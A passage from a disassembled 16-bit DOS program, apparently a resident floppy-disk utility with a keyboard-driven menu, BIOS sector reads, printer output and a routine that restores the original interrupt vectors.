db 02h, 00h, 50h,0B0h, 66h,0E6h
|
|
db 20h, 58h,0CFh
|
|
loc_37:
|
|
jmp dword ptr cs:[19Dh]
|
|
test dl,80h
|
|
jnz loc_38 ; Jump if not zero
|
|
test byte ptr cs:[22Eh],40h ; '@'
|
|
jz loc_38 ; Jump if zero
|
|
mov word ptr cs:[1EAh],ax
|
|
pop ax
|
|
pop ax
|
|
pop ax
|
|
or ax,1
|
|
push ax
|
|
sub sp,4
|
|
mov ax,word ptr cs:[1EAh]
|
|
mov ah,80h
|
|
iret ; Interrupt return
|
|
sub_2 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_6 proc near
|
|
loc_38:
|
|
jmp dword ptr cs:[1A1h]
|
|
mov byte ptr ds:[22Eh],40h ; '@'
|
|
call sub_28
|
|
jnc loc_40 ; Jump if carry=0
|
|
clc ; Clear carry flag
|
|
loc_39:
|
|
call sub_11
|
|
jmp loc_121
|
|
loc_40:
|
|
mov ds,data_25
|
|
test byte ptr ds:dsk_motor_stat_,0Fh
|
|
push cs
|
|
pop ds
|
|
jnz loc_39 ; Jump if not zero
|
|
call sub_22
|
|
call sub_23
|
|
loc_41:
|
|
mov ax,55Ch
|
|
mov cs:data_93,ax
|
|
call sub_21
|
|
mov data_112,70h ; 'p'
|
|
call sub_27
|
|
call sub_13
|
|
loc_42:
|
|
mov ah,0
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
cmp al,1Bh
|
|
je loc_48 ; Jump if equal
|
|
cmp al,0Dh
|
|
je loc_49 ; Jump if equal
|
|
cmp ah,48h ; 'H'
|
|
je loc_50 ; Jump if equal
|
|
cmp ah,50h ; 'P'
|
|
je loc_53 ; Jump if equal
|
|
and al,0DFh
|
|
cmp al,50h ; 'P'
|
|
je loc_43 ; Jump if equal
|
|
cmp al,52h ; 'R'
|
|
je loc_47 ; Jump if equal
|
|
cmp al,45h ; 'E'
|
|
je loc_48 ; Jump if equal
|
|
cmp al,53h ; 'S'
|
|
je loc_44 ; Jump if equal
|
|
cmp al,46h ; 'F'
|
|
je loc_45 ; Jump if equal
|
|
cmp al,54h ; 'T'
|
|
je loc_46 ; Jump if equal
|
|
call sub_11
|
|
jmp short loc_42
|
|
loc_43:
|
|
jmp loc_137
|
|
loc_44:
|
|
jmp short loc_55
|
|
db 90h
|
|
loc_45:
|
|
jmp loc_145
|
|
loc_46:
|
|
jmp loc_149
|
|
loc_47:
|
|
jmp loc_151
|
|
loc_48:
|
|
jmp loc_154
|
|
loc_49:
|
|
mov al,3
|
|
mul data_107 ; ax = data * al
|
|
add ax,offset loc_43
|
|
jmp ax ;*Register jump
|
|
loc_50:
|
|
mov data_112,1Fh
|
|
call sub_27
|
|
cmp data_107,0
|
|
je loc_52 ; Jump if equal
|
|
dec data_107
|
|
sub data_110,3
|
|
loc_51:
|
|
mov data_112,70h ; 'p'
|
|
call sub_27
|
|
jmp short loc_42
|
|
loc_52:
|
|
mov data_107,5
|
|
mov data_110,15h
|
|
jmp short loc_51
|
|
loc_53:
|
|
mov data_112,1Fh
|
|
call sub_27
|
|
cmp data_107,5
|
|
je loc_54 ; Jump if equal
|
|
inc data_107
|
|
add data_110,3
|
|
jmp short loc_51
|
|
loc_54:
|
|
mov data_107,0
|
|
mov data_110,6
|
|
jmp short loc_51
|
|
loc_55:
|
|
call sub_19
|
|
mov data_190,3120h
|
|
cmp data_28,1
|
|
jne loc_56 ; Jump if not equal
|
|
mov data_29,0
|
|
jmp short loc_60
|
|
db 90h
|
|
loc_56:
|
|
mov dh,0Dh
|
|
mov dl,18h
|
|
mov si,232h
|
|
call sub_14
|
|
call sub_13
|
|
mov ah,0
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
cmp al,1Bh
|
|
jne loc_57 ; Jump if not equal
|
|
jmp loc_41
|
|
loc_57:
|
|
cmp al,0Dh
|
|
je loc_60 ; Jump if equal
|
|
and al,0DFh
|
|
sub al,41h ; 'A'
|
|
jge loc_59 ; Jump if > or =
|
|
loc_58:
|
|
call sub_11
|
|
jmp short loc_55
|
|
loc_59:
|
|
cmp al,data_28
|
|
jge loc_58 ; Jump if > or =
|
|
mov data_29,al
|
|
add al,41h ; 'A'
|
|
mov byte ptr ds:[24Eh],al ; ('A')
|
|
mov data_183,al
|
|
mov data_188,al
|
|
loc_60:
|
|
call sub_19
|
|
call sub_37
|
|
test byte ptr [bx],1
|
|
jz loc_63 ; Jump if zero
|
|
mov dh,10h
|
|
mov dl,14h
|
|
test byte ptr [bx],2
|
|
jnz loc_61 ; Jump if not zero
|
|
mov si,251h
|
|
jmp short loc_62
|
|
db 90h
|
|
loc_61:
|
|
mov si,27Eh
|
|
loc_62:
|
|
call sub_14
|
|
call sub_13
|
|
mov al,31h ; '1'
|
|
mov data_102,al
|
|
mov al,[si-3]
|
|
mov data_103,al
|
|
mov data_89,1331h
|
|
call sub_16
|
|
and byte ptr [si-3],0FEh
|
|
or [si-3],al
|
|
xor al,1
|
|
xor data_31,ax
|
|
loc_63:
|
|
mov ax,data_31
|
|
call sub_39
|
|
loc_64:
|
|
call sub_20
|
|
mov dh,0Bh
|
|
mov dl,14h
|
|
mov si,2ABh
|
|
call sub_14
|
|
call sub_38
|
|
cmp data_101,0
|
|
je loc_69 ; Jump if equal
|
|
mov ax,word ptr ds:[137h]
|
|
mov bx,ax
|
|
cmp data_101,1
|
|
jne loc_65 ; Jump if not equal
|
|
xchg bh,bl
|
|
xor bl,bl ; Zero register
|
|
sub al,30h ; '0'
|
|
jmp short loc_67
|
|
db 90h
|
|
loc_65:
|
|
sub al,27h ; '''
|
|
cmp al,0Ah
|
|
jg loc_64 ; Jump if >
|
|
jz loc_66 ; Jump if zero
|
|
xor al,al ; Zero register
|
|
loc_66:
|
|
sub ah,30h ; '0'
|
|
add al,ah
|
|
cmp al,0Bh
|
|
jg loc_64 ; Jump if >
|
|
loc_67:
|
|
cmp al,0
|
|
je loc_64 ; Jump if equal
|
|
mov data_96,al
|
|
or bl,20h ; ' '
|
|
cmp bl,30h ; '0'
|
|
jne loc_68 ; Jump if not equal
|
|
mov bl,20h ; ' '
|
|
loc_68:
|
|
mov data_191,bx
|
|
mov data_182,bx
|
|
loc_69:
|
|
mov data_100,0F5h
|
|
mov data_95,0
|
|
mov data_99,0
|
|
call sub_20
|
|
mov dh,0Ah
|
|
mov dl,18h
|
|
mov si,2DAh
|
|
call sub_14
|
|
mov dh,0Ch
|
|
mov dl,13h
|
|
mov si,2FBh
|
|
call sub_14
|
|
call sub_13
|
|
loc_70:
|
|
mov ah,0
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
cmp al,0Dh
|
|
je loc_72 ; Jump if equal
|
|
cmp al,1Bh
|
|
jne loc_71 ; Jump if not equal
|
|
jmp loc_41
|
|
loc_71:
|
|
call sub_11
|
|
jmp short loc_70
|
|
loc_72:
|
|
mov data_82,1525h
|
|
cli ; Disable interrupts
|
|
pushf ; Push flags
|
|
push cs
|
|
mov ax,201h
|
|
mov bx,28E9h
|
|
mov cx,1
|
|
mov dl,data_29
|
|
xor dh,dh ; Zero register
|
|
call sub_6
|
|
jnc loc_78 ; Jump if carry=0
|
|
clc ; Clear carry flag
|
|
test ah,80h
|
|
jz loc_78 ; Jump if zero
|
|
call sub_11
|
|
xor cx,cx ; Zero register
|
|
|
|
locloop_73:
|
|
loop locloop_73 ; Loop if cx > 0
|
|
|
|
call sub_11
|
|
call sub_56
|
|
call sub_20
|
|
mov dh,0Ah
|
|
mov dl,20h ; ' '
|
|
mov si,3DAh
|
|
call sub_14
|
|
loc_74:
|
|
mov dh,0Eh
|
|
mov dl,20h ; ' '
|
|
mov si,40Fh
|
|
call sub_14
|
|
call sub_13
|
|
loc_75:
|
|
mov ah,0
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
cmp al,1Bh
|
|
je loc_77 ; Jump if equal
|
|
and al,0DFh
|
|
cmp al,52h ; 'R'
|
|
jne loc_76 ; Jump if not equal
|
|
jmp data_82
|
|
loc_76:
|
|
cmp al,41h ; 'A'
|
|
je loc_77 ; Jump if equal
|
|
call sub_11
|
|
jmp short loc_75
|
|
loc_77:
|
|
jmp loc_135
|
|
loc_78:
|
|
call sub_24
|
|
call sub_61
|
|
or byte ptr ds:[22Eh],80h
|
|
cli ; Disable interrupts
|
|
call sub_7
|
|
loc_79:
|
|
call sub_52
|
|
call sub_60
|
|
mov data_82,1596h
|
|
call sub_64
|
|
test data_73,0C0h
|
|
jz loc_80 ; Jump if zero
|
|
call sub_64
|
|
test data_73,0C0h
|
|
jz loc_80 ; Jump if zero
|
|
jmp loc_123
|
|
loc_80:
|
|
call sub_74
|
|
test data_73,0C0h
|
|
jz loc_81 ; Jump if zero
|
|
jmp short loc_83
|
|
db 90h
|
|
loc_81:
|
|
cmp byte ptr ds:[230h],0
|
|
je loc_82 ; Jump if equal
|
|
mov ax,word ptr ds:[243Dh]
|
|
cmp data_218,ax
|
|
jne loc_82 ; Jump if not equal
|
|
mov ax,word ptr ds:[243Fh]
|
|
cmp data_219,ax
|
|
jne loc_82 ; Jump if not equal
|
|
jmp loc_117
|
|
loc_82:
|
|
cmp byte ptr data_214,0EBh
|
|
jne loc_83 ; Jump if not equal
|
|
cmp data_217,200h
|
|
jne loc_83 ; Jump if not equal
|
|
mov data_84,1626h
|
|
jmp short loc_84
|
|
db 90h
|
|
loc_83:
|
|
mov data_84,1623h
|
|
loc_84:
|
|
call sub_77
|
|
jnc loc_85 ; Jump if carry=0
|
|
jmp loc_123
|
|
loc_85:
|
|
test al,40h ; '@'
|
|
jz loc_87 ; Jump if zero
|
|
loc_86:
|
|
mov data_62,3
|
|
jmp loc_125
|
|
loc_87:
|
|
mov byte ptr ds:[230h],0
|
|
loc_88:
|
|
mov data_82,161Fh
|
|
loc_89:
|
|
jmp data_84
|
|
call sub_78
|
|
mov data_68,28E9h
|
|
mov ax,word ptr data_60
|
|
mov data_67,ax
|
|
mov data_69,42h ; 'B'
|
|
mov data_70,0E6h
|
|
mov data_85,27F1h
|
|
call sub_75
|
|
test data_73,0C0h
|
|
jz loc_95 ; Jump if zero
|
|
test data_74,20h ; ' '
|
|
jz loc_90 ; Jump if zero
|
|
cmp data_94,2
|
|
je loc_93 ; Jump if equal
|
|
inc data_94
|
|
jmp short loc_91
|
|
db 90h
|
|
loc_90:
|
|
mov data_94,0
|
|
loc_91:
|
|
call sub_65
|
|
test data_73,0C0h
|
|
jz loc_92 ; Jump if zero
|
|
jmp loc_123
|
|
loc_92:
|
|
mov data_84,1623h
|
|
jmp short loc_88
|
|
loc_93:
|
|
mov data_94,0
|
|
cmp data_65,0
|
|
jne loc_94 ; Jump if not equal
|
|
jmp loc_105
|
|
loc_94:
|
|
call sub_51
|
|
loc_95:
|
|
cmp data_64,0
|
|
jne loc_97 ; Jump if not equal
|
|
mov data_64,1
|
|
loc_96:
|
|
jmp short loc_89
|
|
loc_97:
|
|
call sub_9
|
|
mov data_82,161Fh
|
|
mov data_64,0
|
|
inc data_65
|
|
inc data_63
|
|
cmp data_31,0
|
|
jne loc_98 ; Jump if not equal
|
|
inc data_63
|
|
loc_98:
|
|
call sub_46
|
|
cmp data_63,50h ; 'P'
|
|
jge loc_99 ; Jump if > or =
|
|
call sub_63
|
|
test data_73,0C0h
|
|
jz loc_96 ; Jump if zero
|
|
call sub_65
|
|
test data_73,0C0h
|
|
jz loc_96 ; Jump if zero
|
|
jmp short loc_100
|
|
db 90h
|
|
loc_99:
|
|
mov data_65,0
|
|
mov data_63,0
|
|
mov data_66,1
|
|
mov data_64,0
|
|
mov data_59,0
|
|
call sub_63
|
|
test data_73,0C0h
|
|
jz loc_101 ; Jump if zero
|
|
call sub_65
|
|
test data_73,0C0h
|
|
jz loc_101 ; Jump if zero
|
|
loc_100:
|
|
mov data_62,40h ; '@'
|
|
jmp loc_125
|
|
loc_101:
|
|
mov data_82,1712h
|
|
call sub_78
|
|
cmp data_64,1
|
|
je loc_102 ; Jump if equal
|
|
mov data_64,1
|
|
jmp short loc_101
|
|
loc_102:
|
|
call sub_52
|
|
mov ds,data_25
|
|
mov ax,word ptr ds:timer_low_+1
|
|
push cs
|
|
pop ds
|
|
mov word ptr ds:[243Dh],ax
|
|
loc_103:
|
|
mov data_82,1738h
|
|
mov data_64,0
|
|
mov data_68,2416h
|
|
mov data_67,1FFh
|
|
mov data_69,4Ah ; 'J'
|
|
mov data_70,0C5h
|
|
mov data_85,27F1h
|
|
call sub_75
|
|
test data_73,0C0h
|
|
jz loc_106 ; Jump if zero
|
|
test data_74,2
|
|
jz loc_104 ; Jump if zero
|
|
jmp loc_86
|
|
loc_104:
|
|
cmp data_94,0
|
|
jne loc_105 ; Jump if not equal
|
|
inc data_94
|
|
call sub_65
|
|
test data_73,0C0h
|
|
jz loc_103 ; Jump if zero
|
|
jmp loc_123
|
|
loc_105:
|
|
mov data_62,20h ; ' '
|
|
jmp loc_125
|
|
loc_106:
|
|
call sub_53
|
|
mov byte ptr ds:[21Ah],2
|
|
mov al,byte ptr ds:[242Bh]
|
|
mov data_214,al
|
|
mov data_215,0FFFFh
|
|
mov word ptr ds:[223h],0
|
|
mov word ptr ds:[21Fh],0
|
|
mov word ptr ds:[212h],139h
|
|
loc_107:
|
|
mov cx,80h
|
|
mov si,word ptr ds:[212h]
|
|
loc_108:
|
|
mov word ptr ds:[218h],cx
|
|
mov word ptr ds:[214h],si
|
|
call sub_55
|
|
sub ax,word ptr ds:[21Fh]
|
|
test cx,[si]
|
|
jz loc_113 ; Jump if zero
|
|
cmp ax,200h
|
|
jl loc_109 ; Jump if <
|
|
mov word ptr ds:[21Bh],ax
|
|
call sub_49
|
|
call sub_53
|
|
call sub_50
|
|
mov ax,word ptr ds:[21Bh]
|
|
sub ax,200h
|
|
loc_109:
|
|
mov di,offset data_214
|
|
add di,ax
|
|
mov al,data_56
|
|
cbw ; Convrt byte to word
|
|
cmp al,9
|
|
jne loc_110 ; Jump if not equal
|
|
clc ; Clear carry flag
|
|
rcr ax,1 ; Rotate thru carry
|
|
adc ax,0
|
|
loc_110:
|
|
mov cx,ax
|
|
mov si,word ptr ds:[229h]
|
|
loc_111:
|
|
mov bx,225h
|
|
mov ax,[bx+si]
|
|
mov bx,[di]
|
|
or ax,bx
|
|
cld ; Clear direction
|
|
stosw ; Store ax to es:[di]
|
|
xor si,2
|
|
nop ;*ASM fixup - sign extn byte
|
|
jz loc_112 ; Jump if zero
|
|
dec di
|
|
loc_112:
|
|
dec cx
|
|
jnz loc_111 ; Jump if not zero
|
|
mov word ptr ds:[21Dh],di
|
|
jmp short loc_114
|
|
db 90h
|
|
loc_113:
|
|
cmp ax,200h
|
|
jl loc_114 ; Jump if <
|
|
call sub_49
|
|
call sub_53
|
|
call sub_50
|
|
loc_114:
|
|
mov word ptr ds:[21Bh],ax
|
|
mov al,data_56
|
|
cbw ; Convrt byte to word
|
|
add word ptr ds:[223h],ax
|
|
mov ax,word ptr ds:[21Bh]
|
|
mov cx,word ptr ds:[218h]
|
|
mov si,word ptr ds:[214h]
|
|
shr cx,1 ; Shift w/zeros fill
|
|
jz loc_115 ; Jump if zero
|
|
jmp loc_108
|
|
loc_115:
|
|
inc word ptr ds:[212h]
|
|
mov ax,word ptr ds:[212h]
|
|
cmp ax,word ptr ds:[216h]
|
|
je loc_116 ; Jump if equal
|
|
jmp loc_107
|
|
loc_116:
|
|
call sub_49
|
|
call sub_54
|
|
mov di,data_100
|
|
mov ax,word ptr ds:[243Fh]
|
|
xchg ah,al
|
|
cld ; Clear direction
|
|
stosw ; Store ax to es:[di]
|
|
mov ax,word ptr ds:[243Dh]
|
|
xchg ah,al
|
|
stosw ; Store ax to es:[di]
|
|
mov ax,word ptr data_98
|
|
stosw ; Store ax to es:[di]
|
|
mov data_100,di
|
|
inc data_95
|
|
inc data_99
|
|
call sub_12
|
|
mov al,data_96
|
|
cmp data_95,al
|
|
je loc_119 ; Jump if equal
|
|
loc_117:
|
|
mov byte ptr ds:[230h],1
|
|
mov ds,data_25
|
|
mov byte ptr ds:dsk_motor_tmr_,2
|
|
push cs
|
|
pop ds
|
|
mov data_92,3AAh
|
|
call sub_45
|
|
mov cx,88h
|
|
|
|
locloop_118:
|
|
call sub_7
|
|
call sub_9
|
|
mov cx,word ptr ds:[22Bh]
|
|
mov data_82,1596h
|
|
loop locloop_118 ; Loop if cx > 0
|
|
|
|
jmp loc_79
|
|
loc_119:
|
|
mov data_92,3C2h
|
|
call sub_45
|
|
mov data_107,2
|
|
mov data_110,0Ch
|
|
loc_120:
|
|
mov data_81,130Dh
|
|
mov byte ptr ds:[230h],0
|
|
call sub_8
|
|
loc_121:
|
|
and byte ptr ds:[22Eh],0
|
|
mov sp,2B84h
|
|
mov ax,202h
|
|
push ax
|
|
push cs
|
|
mov ax,data_81
|
|
push ax
|
|
mov word ptr cs:[1DCh],sp
|
|
loc_122:
|
|
mov ss,word ptr ds:[20Eh]
|
|
mov sp,word ptr ds:[208h]
|
|
mov es,word ptr ds:[210h]
|
|
mov bp,word ptr ds:[20Ah]
|
|
mov si,word ptr ds:[204h]
|
|
mov di,word ptr ds:[206h]
|
|
mov ax,word ptr ds:[1FCh]
|
|
mov bx,word ptr ds:[1FEh]
|
|
mov cx,word ptr ds:[200h]
|
|
mov dx,word ptr ds:[202h]
|
|
mov ds,word ptr ds:[20Ch]
|
|
iret ; Interrupt return
|
|
loc_123:
|
|
mov byte ptr ds:[22Fh],0
|
|
mov dx,3F2h
|
|
mov al,8
|
|
out dx,al ; port 3F2h, dsk0 contrl output
|
|
cmp byte ptr ds:[230h],0
|
|
je loc_124 ; Jump if equal
|
|
jmp loc_117
|
|
loc_124:
|
|
mov data_62,80h
|
|
loc_125:
|
|
mov data_92,3B6h
|
|
call sub_45
|
|
call sub_12
|
|
mov byte ptr ds:[22Dh],6
|
|
call sub_7
|
|
call sub_12
|
|
call sub_8
|
|
mov data_81,195Dh
|
|
jmp short loc_121
|
|
sub_6 endp
|
|
|
|
loc_126:
|
|
and byte ptr cs:[22Eh],7Fh
|
|
call sub_28
|
|
jnc loc_128 ; Jump if carry=0
|
|
clc ; Clear carry flag
|
|
call sub_11
|
|
test byte ptr ds:[22Eh],20h ; ' '
|
|
jnz loc_127 ; Jump if not zero
|
|
jmp loc_121
|
|
loc_127:
|
|
jmp loc_120
|
|
loc_128:
|
|
call sub_22
|
|
call sub_23
|
|
call sub_56
|
|
call sub_20
|
|
cmp data_62,80h
|
|
je loc_129 ; Jump if equal
|
|
cmp data_62,3
|
|
je loc_132 ; Jump if equal
|
|
cmp data_62,40h ; '@'
|
|
je loc_131 ; Jump if equal
|
|
cmp data_62,20h ; ' '
|
|
je loc_130 ; Jump if equal
|
|
mov dh,0Ah
|
|
mov dl,1Eh
|
|
mov si,441h
|
|
call sub_14
|
|
jmp short loc_133
|
|
db 90h
|
|
loc_129:
|
|
mov dh,0Ah
|
|
mov dl,20h ; ' '
|
|
mov si,3DAh
|
|
call sub_14
|
|
jmp short loc_133
|
|
db 90h
|
|
loc_130:
|
|
mov dh,0Ah
|
|
mov dl,18h
|
|
mov si,420h
|
|
call sub_14
|
|
jmp short loc_133
|
|
db 90h
|
|
loc_131:
|
|
mov dh,0Ah
|
|
mov dl,22h ; '"'
|
|
mov si,402h
|
|
call sub_14
|
|
jmp short loc_133
|
|
db 90h
|
|
loc_132:
|
|
mov dh,0Ah
|
|
mov dl,1Dh
|
|
mov si,3EBh
|
|
call sub_14
|
|
loc_133:
|
|
mov dh,0Eh
|
|
mov dl,20h ; ' '
|
|
mov data_62,0
|
|
mov si,40Fh
|
|
call sub_14
|
|
call sub_13
|
|
loc_134:
|
|
mov ah,0
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
cmp al,1Bh
|
|
je loc_135 ; Jump if equal
|
|
and al,0DFh
|
|
cmp al,52h ; 'R'
|
|
je loc_136 ; Jump if equal
|
|
cmp al,41h ; 'A'
|
|
je loc_135 ; Jump if equal
|
|
call sub_11
|
|
jmp short loc_134
|
|
loc_135:
|
|
call sub_24
|
|
mov data_107,0
|
|
mov data_110,6
|
|
jmp loc_120
|
|
loc_136:
|
|
call sub_24
|
|
cli ; Disable interrupts
|
|
mov byte ptr ds:[22Eh],0C0h
|
|
call sub_7
|
|
call sub_65
|
|
mov cx,5
|
|
jmp data_82
|
|
loc_137:
|
|
call sub_19
|
|
mov dh,0Dh
|
|
mov dl,15h
|
|
mov si,457h
|
|
call sub_14
|
|
call sub_13
|
|
loc_138:
|
|
mov ah,0
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
cmp al,1Bh
|
|
je loc_144 ; Jump if equal
|
|
cmp al,0Dh
|
|
je loc_139 ; Jump if equal
|
|
call sub_11
|
|
jmp short loc_138
|
|
loc_139:
|
|
call sub_19
|
|
mov dh,0Dh
|
|
mov dl,21h ; '!'
|
|
mov si,47Fh
|
|
call sub_14
|
|
call sub_13
|
|
mov bp,0A2Bh
|
|
loc_140:
|
|
mov ah,2
|
|
xor dx,dx ; Zero register
|
|
int 17h ; Printer dx=prn1, ah=func 02h
|
|
; read status, ah=return status
|
|
test ah,10h
|
|
jz loc_143 ; Jump if zero
|
|
mov al,[bp]
|
|
cmp al,0
|
|
je loc_144 ; Jump if equal
|
|
xor ah,ah ; Zero register
|
|
xor dx,dx ; Zero register
|
|
int 17h ; Printer dx=prn1, ah=func 00h
|
|
; print char al, get status ah
|
|
test ah,29h ; ')'
|
|
jnz loc_141 ; Jump if not zero
|
|
inc bp
|
|
jmp short loc_140
|
|
loc_141:
|
|
call sub_19
|
|
mov dh,0Ch
|
|
mov dl,23h ; '#'
|
|
mov si,48Dh
|
|
loc_142:
|
|
call sub_14
|
|
mov data_82,1A2Eh
|
|
jmp loc_74
|
|
loc_143:
|
|
call sub_19
|
|
mov dh,0Ch
|
|
mov dl,1Eh
|
|
mov si,499h
|
|
jmp short loc_142
|
|
loc_144:
|
|
jmp loc_41
|
|
loc_145:
|
|
cmp data_95,0
|
|
jne loc_147 ; Jump if not equal
|
|
call sub_19
|
|
mov dh,0Dh
|
|
mov dl,20h ; ' '
|
|
mov si,38Dh
|
|
call sub_14
|
|
loc_146:
|
|
mov dh,0Fh
|
|
mov dl,16h
|
|
mov si,368h
|
|
call sub_14
|
|
call sub_13
|
|
jmp short loc_148
|
|
db 90h
|
|
loc_147:
|
|
mov ax,838h
|
|
mov cs:data_93,ax
|
|
call sub_21
|
|
call sub_31
|
|
loc_148:
|
|
mov ah,0
|
|
int 16h ; Keyboard i/o ah=function 00h
|
|
; get keybd char in al, ah=scan
|
|
mov data_107,5
|
|
mov data_110,15h
|
|
jmp loc_41
|
|
loc_149:
|
|
cmp data_187,6666h
|
|
je loc_150 ; Jump if equal
|
|
mov data_187,6666h
|
|
jmp loc_41
|
|
loc_150:
|
|
mov data_187,206Eh
|
|
jmp loc_41
|
|
loc_151:
|
|
mov ax,11E0h
|
|
mov di,20h ; (' ')
|
|
call sub_30
|
|
jc loc_152 ; Jump if carry Set
|
|
mov ax,12E6h
|
|
mov di,offset data_42
|
|
call sub_30
|
|
jc loc_152 ; Jump if carry Set
|
|
mov ax,12CCh
|
|
mov di,offset data_38
|
|
call sub_30
|
|
jc loc_152 ; Jump if carry Set
|
|
mov ax,127Ah
|
|
mov di,24h ; (' ')
|
|
call sub_30
|
|
jnc loc_153 ; Jump if carry=0
|
|
loc_152:
|
|
clc ; Clear carry flag
|
|
call sub_19
|
|
mov dh,0Ch
|
|
mov dl,8
|
|
mov si,327h
|
|
call sub_14
|
|
jmp loc_146
|
|
loc_153:
|
|
xor ax,ax ; Zero register
|
|
mov word ptr data_24,ax
|
|
mov si,offset 195h
|
|
mov di,20h ; (' ')
|
|
call sub_29
|
|
mov si,offset 199h
|
|
mov di,24h ; (' ')
|
|
call sub_29
|
|
mov si,offset 19Dh
|
|
mov di,offset data_38
|
|
call sub_29
|
|
mov si,offset 1A1h
|
|
mov di,offset data_42
|
|
call sub_29
|
|
mov es,data_26
|
|
mov di,data_2e
|
|
xor ax,ax ; Zero register
|
|
stosw ; Store ax to es:[di]
|
|
mov es,data_27
|
|
mov di,data_2e
|
|
xor ax,ax ; Zero register
|
|
stosw ; Store ax to es:[di]
|
|
push cs
|
|
pop es
|
|
call sub_24
|
|
call sub_7
|
|
loc_154:
|
|
mov data_107,0
|
|
mov data_110,6
|
|
call sub_24
|
|
jmp loc_121
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_7 proc near
|
|
add byte ptr ds:[22Dh],1
|
|
cli ; Disable interrupts
|
|
mov word ptr ds:[1D0h],ax
|
|
pop ax
|
|
pushf ; Push flags
|
|
push cs
|
|
push ax
|
|
mov word ptr ds:[1DCh],sp
|
|
mov word ptr ds:[1D2h],bx
|
|
mov word ptr ds:[1DAh],ss
|
|
mov word ptr ds:[1E2h],ds
|
|
mov word ptr ds:[1E4h],es
|
|
mov word ptr ds:[1E0h],bp
|
|
mov word ptr ds:[1D8h],si
|
|
mov word ptr ds:[1DEh],di
|
|
mov word ptr ds:[1D4h],cx
|
|
mov word ptr ds:[1D6h],dx
|
|
jmp loc_122
|
|
sub_7 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_8 proc near
|
|
mov al,data_29
|
|
cbw ; Convrt byte to word
|
|
mov di,ax
|
|
mov ds,data_25
|
|
and byte ptr ds:hdsk0_media_st_[di],0EFh
|
|
mov byte ptr ds:dsk_motor_tmr_,2
|
|
mov byte ptr ds:dsk_recal_stat_,0
|
|
push cs
|
|
pop ds
|
|
retn
|
|
sub_8 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_9 proc near
|
|
mov word ptr ds:[22Bh],cx
|
|
test byte ptr ds:[22Eh],20h ; ' '
|
|
jz loc_ret_155 ; Jump if zero
|
|
pop ax
|
|
mov data_82,ax
|
|
jmp loc_126
|
|
|
|
loc_ret_155:
|
|
retn
|
|
sub_9 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_10 proc near
|
|
mov ah,0Eh
|
|
mov bh,0
|
|
int 10h ; Video display ah=functn 0Eh
|
|
; write char al, teletype mode
|
|
retn
|
|
sub_10 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
|
|
|
sub_11 proc near
|
|
push ax
|
|
push bx
|
|
mov al,7
|
|
call sub_10
|
|
pop bx
|
|
pop ax
|
|
retn
|
|
sub_11 endp
|
|
|
|
|
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
|
; SUBROUTINE
|
|
